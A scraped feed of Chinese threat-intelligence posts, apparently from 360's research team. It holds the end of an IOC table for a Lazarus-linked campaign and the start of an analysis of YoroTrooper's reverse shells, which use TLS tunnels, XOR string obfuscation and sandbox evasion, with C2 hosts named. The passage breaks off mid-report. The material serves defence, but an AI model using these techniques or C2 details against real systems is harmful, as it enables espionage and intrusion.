0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">0677555769e4b64cc084dcc132048144</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">COPPERHEDGE Loader</span></span></span></p></td></tr><tr class="ue-table-interlace-color-double"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FEFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;"><a href="https://www.magazineschool.co[.]kr/includes/lm9.asp" target="_blank">https://www.magazineschool.co[.]kr/includes/lm9.asp</a></span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">C2 URL</span></span></span></p></td></tr><tr class="ue-table-interlace-color-single"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">206.71.148[.]38:80</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">C2</span></span></span></p></td></tr></tbody></table><div data-mpa-template="t" mpa-data-temp-power-by="yiban.io" mpa-from-tpl="t" data-mpa-action-id="mpwdrdbzljt"><div data-mpa-template="t" mpa-from-tpl="t"><div data-role="outer" label="edit by 135editor" mpa-from-tpl="t"><div data-role="title" data-tools="135编辑器" data-id="85638" mpa-from-tpl="t"><div style="margin-top: 2em;margin-right: auto;margin-left: auto;padding-top: 0.5em;padding-bottom: 0.5em;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);font-size: 1em;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);" mpa-from-tpl="t"><p style="margin-top: -1.2em;text-align: center;border: none;line-height: 1.4;" mpa-from-tpl="t"><strong mpa-from-tpl="t"><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);padding: 8px 23px;text-decoration: inherit;" mpa-is-content="t"><span leaf="">参考链接</span></span></strong></p></div></div></div></div></div><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">[1]</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;"><a href="https://www.cisa.gov/news-events/analysis-reports/ar20-133a" target="_blank">https://www.cisa.gov/news-events/analysis-reports/ar20-133a</a></span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">[2]</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;"><a href="https://securelist.ru/operation-synchole-watering-hole-attacks-by-lazarus/112426/" target="_blank">https://securelist.ru/operation-synchole-watering-hole-attacks-by-lazarus/112426/</a></span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">[3]</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;"><a href="https://www.sysdig.com/blog/etherrat-dprk-uses-novel-ethereum-implant-in-react2shell-attacks" target="_blank">https://www.sysdig.com/blog/etherrat-dprk-uses-novel-ethereum-implant-in-react2shell-attacks</a></span></span></p><div data-role="outer" label="Powered by 135editor.com" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="98507" style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-size: 17px;text-align: justify;text-decoration-thickness: initial;box-sizing: border-box;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><div style="margin: 10px auto;padding: 0px;text-align: center;line-height: 1.5em;box-sizing: border-box;"><div style="margin: 0px;padding: 0px 0px 3px;display: flex;justify-content: center;align-items: center;border-bottom: 1px solid #be191f;box-sizing: border-box;"><p data-brushtype="text" style="margin: 0px;padding: 0px 8px;font-size: 16px;letter-spacing: 1.5px;box-sizing:border-box;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);"><span style="margin: 0px;padding: 0px;font-size: 16px;"><strong style="margin: 0px;padding: 0px;"><span leaf="">团队介绍</span></strong></span></p></div></div><p style="margin: 0px;padding: 4px 0px;font-size: 12px;letter-spacing: 1.5px;line-height: 1.5em;text-align: center;box-sizing:border-box;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);"><span style="margin: 0px;padding: 0px;font-size: 12px;"><span leaf="">TEAM INTRODUCTION</span></span></p></div><div data-role="paragraph" style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-size: 17px;text-align: justify;text-decoration-thickness: initial;box-sizing: border-box;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><p style="margin: 0px;padding: 0px;text-align: justify;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(190, 25, 31);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(190, 25, 31);margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360</span></span></strong><strong style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(190, 25, 31);margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">高级威胁研究院</span></span></strong></span></p><p style="margin: 0px;padding: 0px;text-align: justify;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;max-width: 100%;color: #888888;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



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      <pubDate>Wed, 03 Jun 2026 17:30:00 +0800</pubDate>
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      <title>YoroTrooper组织针对独联体及周边区域的攻击活动分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508637&amp;idx=1&amp;sn=31399d20fed27c8bfaf8e67aa2017bde</link>
      <description>YoroTrooper 针对独联体及周边目标实施定向攻击。攻击链路以 Telegram 投递恶意压缩包为入口，随后通过名称混淆注册伪装 Windows 系统服务实现持久化，并释放多款定制反向 Shell（含 TLS 加密与反分析机制）建立隐蔽远控通道。本文还原攻击流程并给出 IOC。</description>
      <content:encoded><![CDATA[<p>原创 <span>高级威胁研究院</span> <span>2026-05-25 17:45</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8aca4985&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FEmmib7pWXrXKErpWXNT3toedbcA1E1y79H3do508ZQS9Cq7RtRTWY9Rp0Cia3myNaFJDCibRmgKVibbicicIMClxRB1rIb6asgFpnEGJAuf4CSLoA%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>YoroTrooper 针对独联体及周边目标实施定向攻击。攻击链路以 Telegram 投递恶意压缩包为入口，随后通过名称混淆注册伪装 Windows 系统服务实现持久化，并释放多款定制反向 Shell（含 TLS 加密与反分析机制）建立隐蔽远控通道。本文还原攻击流程并给出 IOC。</p>
  <div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="outer" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div data-tools="135编辑器" data-id="101849" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div style="margin: 10px 0px;padding: 0px;box-sizing: border-box;"><div style="margin: 0px 0px -15px;padding: 0px;display: flex;box-sizing:border-box;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);"><p data-brushtype="text" style="margin: 0px;padding: 0px 1em;color: #f2f2f2;line-height: 32px;height: 32px;font-size: 16px;background-color: #be191f;letter-spacing: 1.5px;box-sizing: border-box;"><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 17px;"><span leaf="">YoroTrooper</span></span></strong></p></div><div style="margin: 0px 0px 0px 6px;padding: 30px 15px 10px;background-color: #f2f2f2;flex-shrink: 0;box-sizing: border-box;"><div data-autoskip="1" style="margin: 0px;padding: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;box-sizing: border-box;"><div style="margin: 0px;padding: 0px;text-indent: 2em;box-sizing: border-box;"><p style="margin-top: 8px;margin-bottom: 8px;display: block;text-align: justify;"><span style="color: rgb(51, 51, 51);text-indent: 28px;text-decoration-thickness: initial;font-size: 17px;font-family: 仿宋;display: inline !important;"><span data-pm-slice="0 0 []" data-mpa-action-id="mpfasbroion"><span mpa-font-style="mpfasbqzlo" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">YoroTrooper，又名</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">SilentLynx、Tomiris、Cavalry Werewolf</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，</span></span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">是一个被评估为疑似具有哈萨克斯坦国家背景支持的高级持续威胁（</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">APT）组织。该组织长期针对中亚、欧洲及中东地区的政府机构、能源企业与关键基础设施，实施高密度的网络渗透与深度战略间谍活动。</span></span></p><p style="background-color: rgb(242, 242, 242);flex-shrink: 0;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;margin: 8px 0px;padding: 0px;text-indent: 2em;box-sizing: border-box;display: block;"><span leaf="" style="text-align: justify;text-indent: 28px;text-decoration-thickness: initial;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;display: inline !important;">其攻击活动活跃轨迹至少可追溯至2021年，核心使命旨在通过网络手段服务于特定的地缘政治利益，涵盖了从高价值情报采集、政府内部通信监控到关键基础设施机密数据持续外传的全频谱间谍作战。</span></p><p style="background-color: rgb(242, 242, 242);flex-shrink: 0;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;margin: 8px 0px;padding: 0px;text-indent: 2em;box-sizing: border-box;display: block;"><span leaf="" style="text-align: justify;text-indent: 28px;text-decoration-thickness: initial;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;display: inline !important;">该组织表现出极高的活跃度与技术韧性。即便近年来面临全球安全行业的追踪与曝光，YoroTrooper非但未曾缩减其行动规模，反而展现出更敏捷的技术进化与武器库扩充能力。从早期依赖单一手段，到近期观测到的“通用工具与自研载荷并重”的复合型渗透框架——该组织正以更加灵活、隐蔽的战术策略，持续加剧着跨国政企机构面临的安全挑战。</span></p><p style="background-color: rgb(242, 242, 242);flex-shrink: 0;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;margin: 8px 0px;padding: 0px;text-indent: 2em;box-sizing: border-box;display: block;"><span leaf="" style="text-align: justify;text-indent: 28px;text-decoration-thickness: initial;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;display: inline !important;">360高级威胁研究院近期监测数据显示，YoroTrooper 组织正在进行针对独联体（CIS）及周边区域的定向攻击活动。在本次行动中，攻击者向目标环境投递了多款定制化的恶意载荷。其主要利用名称混淆等手法，通过注册伪装的 Windows 系统服务来实现设备的持久化驻留；随后进一步释放具备高对抗与强加密特性的反向 Shell 组件，最终在受害主机上建立起隐蔽的远程控制通道。本报告将详细还原该组织的攻击执行链路，并对上述核心恶意程序进行深度的技术解析。</span></p></div></div></div></div></div><div data-role="paragraph" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="115672"><div style="margin: 20px auto;"><div style="display: flex;justify-content: flex-start;"><div style="transform-style: preserve-3d;"><div style="display: flex;justify-content: flex-start;transform: translateZ(12px);-webkit-transform: translateZ(12px);-moz-transform: translateZ(12px);-o-transform: translateZ(12px);"><p style="font-size: 14px;letter-spacing: 1.5px;background-color: #c6c6c7;color: #ffffff;width: 26px;height: 26px;text-align: center;line-height: 26px;box-sizing:border-box;" data-mpa-action-id="mpfa8ai4uw6" data-pm-slice="0 0 []"><strong><span leaf="" mpa-font-style="mpfa8ahccaa" style="font-size: 15px;">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="" mpa-font-style="mpfa8ahc1h0d" style="font-size: 15px;">1</span></strong></p></div><div style="padding: 0 2px 0 12px;margin: -14px 0 -23px;box-sizing:border-box;transform: translateZ(10px);-webkit-transform: translateZ(10px);-moz-transform: translateZ(10px);-o-transform: translateZ(10px);"><div style="background-color: #ffffff;padding: 2px;box-sizing: border-box;"><p style="background: linear-gradient(to left,#be191f,#ac1d10);font-size: 16px;color: #ffffff;padding: 5px 20px;letter-spacing: 1.5px;box-sizing:border-box;"><strong data-brushtype="text" hm_fix="305:351"><span leaf="" mpa-font-style="mpf9cniq98f" style="font-size: 18px;" data-mpa-action-id="mpf9cnj020m8" data-pm-slice="0 0 []">攻击活动分析</span></strong></p></div></div></div></div></div></div><div data-role="paragraph"><p style="text-indent: 0px;"><span leaf="" style="font-family: 黑体;font-variant: normal;text-transform: none;"><span textstyle="" style="font-size: 17px;font-weight: bold;">1.攻击流程分析</span></span></p></div></div></div></div><div data-role="paragraph"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7797101449275362" data-s="300,640" data-type="png" data-w="345" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/Emmib7pWXrXJWK8icRrf57exRMye5kayJCxbEiaOXAE4xgT9xjcnwiazj4GnVcB57gPdqtzsGeCmtJhSZHdhGA2fVhfwVyuRBJMYwvib9lJU4tBA/0?wx_fmt=png&amp;from=appmsg" data-cropselx2="518" data-cropsely2="404" data-imgfileid="100024985" src="https://wechat2rss.xlab.app/img-proxy/?k=a73643c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJWK8icRrf57exRMye5kayJCxbEiaOXAE4xgT9xjcnwiazj4GnVcB57gPdqtzsGeCmtJhSZHdhGA2fVhfwVyuRBJMYwvib9lJU4tBA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div><p style="text-align: justify;text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">该恶意样本的初始投递渠道为即时通讯软件 Telegram。</span></p><p style="text-align: center;text-indent: 0px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1096938775510204" data-s="300,640" data-type="png" data-w="392" type="block" data-imgfileid="100024988" src="https://wechat2rss.xlab.app/img-proxy/?k=e3b0395f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLrAERkr1O3bhwNvB9DK54ic86AnJzytBphficVMHsaqQ1PoPAia9DsFFWbFVtgicoicJ8zS9JLu5W7wicDdUWzGVAbFAOm1PbFib5OLk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">受害者在接收到名为 Temp_rar.rar 的恶意压缩包并尝试打开时，</span><span leaf="">触发了后续攻击组件的执行。</span><o:page></o:page></p><h2 style="text-indent: 0px;"><span leaf="" style="font-family: 黑体;font-variant: normal;text-transform: none;"><span textstyle="" style="font-size: 17px;font-weight: bold;">2.</span></span><span leaf="" style="font-family: 黑体;font-variant: normal;text-transform: none;"><span textstyle="" style="font-size: 17px;font-weight: bold;">恶意载荷分析</span></span></h2><h3><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 16px;color: rgb(190, 25, 31);font-weight: bold;">2.1 ReverseShell</span></span></h3><h4 style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">2.1.1 Laplas</span></span></h4><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">Laplas为基于 TLS 加密的交互式反向 Shell 模块。为对抗静态特征检测与启发式查杀采用字符串混淆技术，在运行时利用硬编码密钥通过 XOR 算法动态解密出目标进程字符串 &#34;cmd.exe&#34;。Laplas调用内置OpenSSL库连接远端C2(updates-check-microsoft.ddns.net:443)，通过禁用证书校验建立 TLS 加密隧道。利用 Windows 匿名管道机制劫持cmd.exe其标准输入、输出及错误流，将I/O 数据直接重定向至加密 Socket 中，以此构建高度隐蔽的远程交互控制链路。</span></p><p style="margin-bottom: 10pt;line-height: 150%;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4387878787878788" data-w="825" style="width: 553.74px;height: 242.94px;" src="https://wechat2rss.xlab.app/img-proxy/?k=032bfb57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIiaw8ppwT3MDD4qKicyZCZ7iaeTLA2Jc7gySVX000v4F28jRggbCrXYT5107o1iaV49BLS4nkZC1qkiaHtg6RDuPhZ3sMBwGibVDKtU%2F640%3Fwx_fmt%3Dpng"/></span></span></p><h4 style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">2.1.2 hosts-ReverseShell</span></span></h4><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="">与Laplas不同，hosts-</span><span leaf="">ReverseShell为TCP直连版反向 Shell。为规避安全厂商的自动化分析与沙箱检测，程序内部集成了多重反分析与逃逸机制：在数据侧，采用栈字符串混淆（Stack String Obfuscation）技术动态拼接 C2 地址以隐藏网络特征；在执行侧，通过探测底层 CPU 微架构层面的执行精度差异，精准识别并逃避模拟器或沙箱分析环境。</span><o:page></o:page></p><p style="margin-bottom: 10pt;line-height: 150%;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.16041979010494753" data-w="667" style="width: 553.74px;height: 88.8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=924114f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLswiaC9xInEiaRb0AqGIkhdq63FYDVMnMZgickTCQDkbYoCMQq33QMBY8okETk6Ly5cJQARxY9Wqh3mLmDiaqbAASULEHDTnz788U%2F640%3Fwx_fmt%3Dpng"/></span></span></p><h4 style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft 